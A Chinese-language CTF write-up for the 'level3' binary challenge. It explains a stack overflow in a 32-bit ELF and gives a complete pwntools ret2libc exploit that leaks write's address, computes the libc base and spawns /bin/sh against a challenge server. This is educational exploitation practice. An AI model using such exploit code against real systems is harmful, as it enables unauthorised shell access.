题目描述:libc!libc!这次没有system,你能帮菜鸡解决这个难题么?
题目附件: 附件1
下载下来是一个gz包,用gz -d 命令解包
然后调用file发现是一个tar,用tar -xf 命令解包
之后是一个level3程序,和一个libc_32.so.6
file如下:
32位ELF文件
checksec如下:
IDA反汇编,查看main函数:
int __cdecl main(int argc, const char **argv, const char **envp) { vulnerable_function(); write(1, "Hello, World!\n", 0xEu); return 0; }
查看vulnerable_function函数:
ssize_t vulnerable_function() { char buf; // [esp+0h] [ebp-88h] write(1, "Input:\n", 7u); return read(0, &buf, 0x100u); }
存在栈溢出漏洞,我们可以通过buf的溢出,使程序运行libc中的system函数,首先需要获得libc地址
我们选择利用已经被使用过的write函数获得其真实地址,从而计算offset获得libc地址
但是每次运行程序libc地址都不同,所以需要让程序输出完地址后返回main函数继续运行
NOTE:32位程序调用函数后,第一个4字节会是返回地址
exp如下:
from pwn import * elf = ELF('./level3') libc = ELF('./libc_32.so.6') #io = process('./level3', env = {'LD_PRELOAD': './libc_32.so.6'}) io = connect('220.249.52.133', 44239) write_plt_addr = elf.plt['write'] write_got_addr = elf.got['write'] main_addr = elf.symbols['main'] payload1 = b'a'*0x8c + p32(write_plt_addr) + p32(main_addr) + p32(1) + p32(write_got_addr) + p32(4) io.sendlineafter('Input:\n', payload1) write_addr = u32(io.recv(4)) libc.address = write_addr - libc.symbols['write'] system_addr = libc.symbols['system'] binsh_addr = next(libc.search(b'/bin/sh')) payload2 = b'a'*0x8c + p32(system_addr) + p32(0) + p32(binsh_addr) io.sendlineafter('Input:\n', payload2) io.interactive()